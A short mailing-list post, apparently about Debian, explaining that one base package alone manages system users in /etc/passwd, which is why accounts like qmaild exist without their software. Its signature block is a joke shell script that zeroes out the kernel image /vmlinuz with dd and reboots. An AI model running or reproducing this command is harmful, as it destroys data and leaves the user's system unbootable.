Think only one of the debs is allowed to mess with /etc/passwd -- that
is, one of the base files. So, you'll have a bunch of users and groups
set up there even if you don't have the software that corresponds to a
particular group. Think it was decided that only 1 deb should ever mess
with system users and groups for safety/stability/security.
I've never had qmail, but I have a qmaild system user (among others).
--
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now
